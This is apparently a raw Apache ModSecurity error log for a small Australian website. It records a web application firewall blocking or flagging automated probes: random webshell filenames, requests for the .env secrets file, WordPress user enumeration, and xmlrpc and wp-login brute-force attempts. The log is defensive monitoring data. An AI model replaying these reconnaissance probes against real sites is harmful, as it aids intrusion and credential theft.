[Thu Apr 09 19:03:42.227610 2026] [:error] [pid 24515:tid 24542] [client 158.158.108.248:22893] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pxw8hpvyfvvpojjxvnCdefault.php"] [unique_id "adeHjq1OMnvM2fMnB1OG_AAAABc"]
[Thu Apr 09 19:03:42.784785 2026] [:error] [pid 24515:tid 24521] [client 158.158.108.248:20935] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pxw8hpvyfvvpojjxvnCdefault.php"] [unique_id "adeHjq1OMnvM2fMnB1OG_QAAAAI"]
[Thu Apr 09 19:03:43.349989 2026] [:error] [pid 24927:tid 24932] [client 158.158.108.248:25710] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pxw8hpvyfvvpojjxvnCdefault.php"] [unique_id "adeHjzXObuzEuw8mNJsLJAAAAQI"]
[Thu Apr 09 19:03:44.103717 2026] [:error] [pid 24515:tid 24527] [client 158.158.108.248:31818] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/c6jpzOQvtPyeM9hdefault.php"] [unique_id "adeHkK1OMnvM2fMnB1OG_wAAAAg"]
[Thu Apr 09 19:03:44.931739 2026] [:error] [pid 24624:tid 24635] [client 158.158.108.248:32940] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/c6jpzOQvtPyeM9hdefault.php"] [unique_id "adeHkO4Jn-WvK1ZBTvjAmwAAAMk"]
[Thu Apr 09 19:03:45.414815 2026] [:error] [pid 24624:tid 24628] [client 158.158.108.248:41450] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/c6jpzOQvtPyeM9hdefault.php"] [unique_id "adeHke4Jn-WvK1ZBTvjAnQAAAMI"]
[Thu Apr 09 19:03:46.032687 2026] [:error] [pid 24517:tid 24579] [client 158.158.108.248:23702] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/c6jpzOQvtPyeM9hdefault.php"] [unique_id "adeHknboYEn2ZFM_PS91_gAAAIU"]
[Thu Apr 09 19:03:46.522147 2026] [:error] [pid 24927:tid 24933] [client 158.158.108.248:14042] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mfptbopeeg7v0sezxnbtgcgsCdefault.php"] [unique_id "adeHkjXObuzEuw8mNJsLKAAAAQM"]
[Thu Apr 09 19:03:47.019534 2026] [:error] [pid 24515:tid 24539] [client 158.158.108.248:14021] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mfptbopeeg7v0sezxnbtgcgsCdefault.php"] [unique_id "adeHk61OMnvM2fMnB1OHBQAAABQ"]
[Thu Apr 09 19:03:47.806152 2026] [:error] [pid 24515:tid 24540] [client 158.158.108.248:49996] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mfptbopeeg7v0sezxnbtgcgsCdefault.php"] [unique_id "adeHk61OMnvM2fMnB1OHCAAAABU"]
[Thu Apr 09 19:03:48.494464 2026] [:error] [pid 20837:tid 20853] [client 158.158.108.248:42739] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mfptbopeeg7v0sezxnbtgcgsCdefault.php"] [unique_id "adeHlPSL71FHZkjrGzPSSQAAAY4"]
[Thu Apr 09 19:03:49.118722 2026] [:error] [pid 24516:tid 24548] [client 158.158.108.248:23705] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/image.php"] [unique_id "adeHldhW7vSS-UkeWCUkiQAAAEE"]
[Thu Apr 09 19:03:49.652336 2026] [:error] [pid 24516:tid 24565] [client 158.158.108.248:42741] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/image.php"] [unique_id "adeHldhW7vSS-UkeWCUkiwAAAFI"]
[Thu Apr 09 19:03:50.180103 2026] [:error] [pid 24624:tid 24637] [client 158.158.108.248:22843] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/image.php"] [unique_id "adeHlu4Jn-WvK1ZBTvjAoAAAAMs"]
[Thu Apr 09 19:03:50.935916 2026] [:error] [pid 24927:tid 24952] [client 158.158.108.248:25714] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/image.php"] [unique_id "adeHljXObuzEuw8mNJsLKwAAARY"]
[Thu Apr 09 19:03:51.943766 2026] [:error] [pid 24927:tid 24945] [client 158.158.108.248:57079] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "adeHlzXObuzEuw8mNJsLLQAAAQ8"]
[Thu Apr 09 19:03:52.548785 2026] [:error] [pid 24927:tid 24931] [client 158.158.108.248:47961] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "adeHmDXObuzEuw8mNJsLMQAAAQE"]
[Thu Apr 09 19:03:53.159846 2026] [:error] [pid 24927:tid 24949] [client 158.158.108.248:23725] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "adeHmTXObuzEuw8mNJsLNgAAARM"]
[Thu Apr 09 19:03:53.648654 2026] [:error] [pid 24927:tid 24930] [client 158.158.108.248:14807] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "adeHmTXObuzEuw8mNJsLNwAAAQA"]
[Thu Apr 09 19:03:54.204668 2026] [:error] [pid 18477:tid 18500] [client 158.158.108.248:22842] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adeHmsDe826HlFeoLPKH-QAAAVU"]
[Thu Apr 09 19:03:54.879789 2026] [:error] [pid 18477:tid 18494] [client 158.158.108.248:14832] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adeHmsDe826HlFeoLPKH_AAAAU8"]
[Thu Apr 09 19:03:56.174483 2026] [proxy_fcgi:error] [pid 24517:tid 24584] [client 158.158.108.248:22847] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 19:03:56.422428 2026] [proxy_fcgi:error] [pid 24517:tid 24590] [client 158.158.108.248:22847] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 19:03:56.913727 2026] [proxy_fcgi:error] [pid 24517:tid 24589] [client 158.158.108.248:22847] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 19:03:57.199417 2026] [proxy_fcgi:error] [pid 24517:tid 24592] [client 158.158.108.248:22847] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 19:03:57.442329 2026] [proxy_fcgi:error] [pid 24517:tid 24596] [client 158.158.108.248:22847] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 19:03:57.730914 2026] [proxy_fcgi:error] [pid 24517:tid 24595] [client 158.158.108.248:22847] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 19:03:57.974018 2026] [proxy_fcgi:error] [pid 24517:tid 24580] [client 158.158.108.248:22847] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 19:03:58.218010 2026] [proxy_fcgi:error] [pid 24517:tid 24586] [client 158.158.108.248:22847] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 19:03:58.461741 2026] [proxy_fcgi:error] [pid 24517:tid 24578] [client 158.158.108.248:22847] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 19:03:58.797496 2026] [proxy_fcgi:error] [pid 24517:tid 24587] [client 158.158.108.248:22847] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 22:40:13.674509 2026] [:error] [pid 24927:tid 24936] [client 167.86.151.97:21059] [client 167.86.151.97] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.86.151.97, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ade6TTXObuzEuw8mNJs0IQAAAQY"]
[Thu Apr 09 22:40:13.685264 2026] [proxy_fcgi:error] [pid 24927:tid 24936] [client 167.86.151.97:21059] AH01071: Got error 'Primary script unknown'
[Fri Apr 10 03:34:39.174567 2026] [:error] [pid 21486:tid 21488] [client 187.62.156.5:2345] [client 187.62.156.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.62.156.5, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adf_T6BRftltyNdYwLo8qgAAAQA"]
[Fri Apr 10 03:34:39.186273 2026] [proxy_fcgi:error] [pid 21486:tid 21488] [client 187.62.156.5:2345] AH01071: Got error 'Primary script unknown'
[Fri Apr 10 03:35:41.076651 2026] [:error] [pid 36672:tid 36680] [client 188.161.67.63:59663] [client 188.161.67.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.161.67.63, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adf_jT99r9VLJsT_o8ixiAAAAMY"]
[Fri Apr 10 03:35:41.089145 2026] [proxy_fcgi:error] [pid 36672:tid 36680] [client 188.161.67.63:59663] AH01071: Got error 'Primary script unknown'
[Fri Apr 10 10:04:53.148578 2026] [:error] [pid 13189:tid 13211] [client 106.219.168.119:30850] [client 106.219.168.119] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.219.168.119, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adhaxZAxiJKPums3eBDshQAAAFM"]
[Fri Apr 10 10:04:53.163206 2026] [proxy_fcgi:error] [pid 13189:tid 13211] [client 106.219.168.119:30850] AH01071: Got error 'Primary script unknown'
[Fri Apr 10 14:14:53.869076 2026] [:error] [pid 3934:tid 3956] [client 103.142.112.169:55770] [client 103.142.112.169] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.142.112.169, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adiVXYa41m-BS8mg82eQMwAAANE"]
[Fri Apr 10 14:14:53.882199 2026] [proxy_fcgi:error] [pid 3934:tid 3956] [client 103.142.112.169:55770] AH01071: Got error 'Primary script unknown'
[Fri Apr 10 15:48:49.671625 2026] [:error] [pid 13189:tid 13199] [client 213.177.179.116:64521] [client 213.177.179.116] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "adirYZAxiJKPums3eBD7vwAAAEc"]
[Fri Apr 10 15:48:53.194668 2026] [:error] [pid 13189:tid 13195] [client 213.177.179.116:57332] [client 213.177.179.116] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "adirZZAxiJKPums3eBD7yQAAAEM"]
[Fri Apr 10 16:03:27.720287 2026] [:error] [pid 13101:tid 13143] [client 86.126.139.6:50810] [client 86.126.139.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 86.126.139.6, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adiuz98Ldw85818pj2pYjQAAAIo"]
[Fri Apr 10 16:03:27.731283 2026] [proxy_fcgi:error] [pid 13101:tid 13143] [client 86.126.139.6:50810] AH01071: Got error 'Primary script unknown'
[Fri Apr 10 16:04:07.418054 2026] [:error] [pid 3934:tid 3961] [client 106.222.249.188:5258] [client 106.222.249.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.222.249.188, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adiu94a41m-BS8mg82fznwAAANY"]
[Fri Apr 10 16:04:07.429190 2026] [proxy_fcgi:error] [pid 3934:tid 3961] [client 106.222.249.188:5258] AH01071: Got error 'Primary script unknown'
[Fri Apr 10 16:04:16.744089 2026] [:error] [pid 13101:tid 13149] [client 103.141.5.31:13009] [client 103.141.5.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.141.5.31, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adivAN8Ldw85818pj2pY1wAAAJA"]
[Fri Apr 10 16:04:16.750610 2026] [proxy_fcgi:error] [pid 13101:tid 13149] [client 103.141.5.31:13009] AH01071: Got error 'Primary script unknown'
[Fri Apr 10 16:08:40.512377 2026] [:error] [pid 3934:tid 3951] [client 154.81.233.131:65388] [client 154.81.233.131] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.81.233.131, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adiwCIa41m-BS8mg82f3dwAAAMw"]
[Fri Apr 10 16:08:40.524072 2026] [proxy_fcgi:error] [pid 3934:tid 3951] [client 154.81.233.131:65388] AH01071: Got error 'Primary script unknown'
[Fri Apr 10 18:03:41.597413 2026] [:error] [pid 3934:tid 3955] [client 163.53.206.55:62991] [client 163.53.206.55] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.53.206.55, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adjK_Ya41m-BS8mg82d6nAAAANA"]
[Fri Apr 10 18:03:41.608762 2026] [proxy_fcgi:error] [pid 3934:tid 3955] [client 163.53.206.55:62991] AH01071: Got error 'Primary script unknown'
[Fri Apr 10 18:03:41.801815 2026] [:error] [pid 3934:tid 3960] [client 103.68.9.106:59333] [client 103.68.9.106] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.68.9.106, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adjK_Ya41m-BS8mg82d6nQAAANU"]
[Fri Apr 10 18:03:41.807108 2026] [proxy_fcgi:error] [pid 3934:tid 3960] [client 103.68.9.106:59333] AH01071: Got error 'Primary script unknown'
[Fri Apr 10 18:03:42.245183 2026] [:error] [pid 3934:tid 3940] [client 43.231.58.168:49733] [client 43.231.58.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 43.231.58.168, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adjK_oa41m-BS8mg82d6nwAAAME"]
[Fri Apr 10 18:03:42.250973 2026] [proxy_fcgi:error] [pid 3934:tid 3940] [client 43.231.58.168:49733] AH01071: Got error 'Primary script unknown'
[Fri Apr 10 18:03:58.947646 2026] [:error] [pid 13102:tid 13163] [client 165.99.136.22:49286] [client 165.99.136.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.99.136.22, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adjLDv9xLvjW2guI55ZQDQAAAAM"]
[Fri Apr 10 18:03:58.958638 2026] [proxy_fcgi:error] [pid 13102:tid 13163] [client 165.99.136.22:49286] AH01071: Got error 'Primary script unknown'
[Fri Apr 10 18:04:00.700829 2026] [:error] [pid 13102:tid 13184] [client 103.134.255.36:62416] [client 103.134.255.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.134.255.36, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adjLEP9xLvjW2guI55ZQEAAAABg"]
[Fri Apr 10 18:04:00.706094 2026] [proxy_fcgi:error] [pid 13102:tid 13184] [client 103.134.255.36:62416] AH01071: Got error 'Primary script unknown'
[Fri Apr 10 18:04:03.340898 2026] [:error] [pid 3934:tid 3963] [client 171.225.204.151:8158] [client 171.225.204.151] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 171.225.204.151, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adjLE4a41m-BS8mg82d63QAAANg"]
[Fri Apr 10 18:04:03.347635 2026] [proxy_fcgi:error] [pid 3934:tid 3963] [client 171.225.204.151:8158] AH01071: Got error 'Primary script unknown'
[Fri Apr 10 18:04:20.066291 2026] [:error] [pid 13102:tid 13183] [client 139.5.75.8:62839] [client 139.5.75.8] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.5.75.8, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adjLJP9xLvjW2guI55ZQIQAAABc"]
[Fri Apr 10 18:04:20.077673 2026] [proxy_fcgi:error] [pid 13102:tid 13183] [client 139.5.75.8:62839] AH01071: Got error 'Primary script unknown'
[Fri Apr 10 19:37:04.479667 2026] [:error] [pid 25984:tid 26012] [client 38.254.177.157:50890] [client 38.254.177.157] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.254.177.157, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adjg4LsdbY_MC14OH17AJQAAAVc"]
[Fri Apr 10 19:37:04.491632 2026] [proxy_fcgi:error] [pid 25984:tid 26012] [client 38.254.177.157:50890] AH01071: Got error 'Primary script unknown'
[Fri Apr 10 20:19:13.173484 2026] [:error] [pid 13189:tid 13215] [client 85.165.212.58:4493] [client 85.165.212.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.165.212.58, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adjqwZAxiJKPums3eBCe-gAAAFc"]
[Fri Apr 10 20:19:13.185775 2026] [proxy_fcgi:error] [pid 13189:tid 13215] [client 85.165.212.58:4493] AH01071: Got error 'Primary script unknown'
[Fri Apr 10 22:21:00.142606 2026] [:error] [pid 62769:tid 62781] [client 185.61.223.198:27855] [client 185.61.223.198] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||agraphics.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "agraphics.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "adkHTMWsSnfLoB8ifjB71wAAAko"], referer: https://www.google.com
[Fri Apr 10 22:21:09.219530 2026] [:error] [pid 62769:tid 62793] [client 185.61.223.198:44529] [client 185.61.223.198] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||agraphics.com.au|F|2"] [data "TX:0=text/plain"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adkHVcWsSnfLoB8ifjB7_QAAAlY"]
[Fri Apr 10 22:21:09.219809 2026] [:error] [pid 62769:tid 62793] [client 185.61.223.198:44529] [client 185.61.223.198] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.61.223.198, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adkHVcWsSnfLoB8ifjB7_QAAAlY"]
[Fri Apr 10 22:21:09.230322 2026] [proxy_fcgi:error] [pid 62769:tid 62793] [client 185.61.223.198:44529] AH01071: Got error 'Primary script unknown'
[Fri Apr 10 22:21:13.306835 2026] [:error] [pid 62769:tid 62782] [client 185.61.223.198:22165] [client 185.61.223.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.61.223.198, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "adkHWcWsSnfLoB8ifjB8HgAAAks"], referer: https://www.google.com
[Fri Apr 10 22:21:13.310684 2026] [proxy_fcgi:error] [pid 62769:tid 62782] [client 185.61.223.198:22165] AH01071: Got error 'Primary script unknown', referer: https://www.google.com
[Fri Apr 10 22:21:17.686372 2026] [:error] [pid 62769:tid 62771] [client 185.61.223.198:55643] [client 185.61.223.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.61.223.198, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "adkHXcWsSnfLoB8ifjB8SgAAAkA"], referer: https://www.google.com
[Fri Apr 10 22:21:17.689898 2026] [proxy_fcgi:error] [pid 62769:tid 62771] [client 185.61.223.198:55643] AH01071: Got error 'Primary script unknown', referer: https://www.google.com
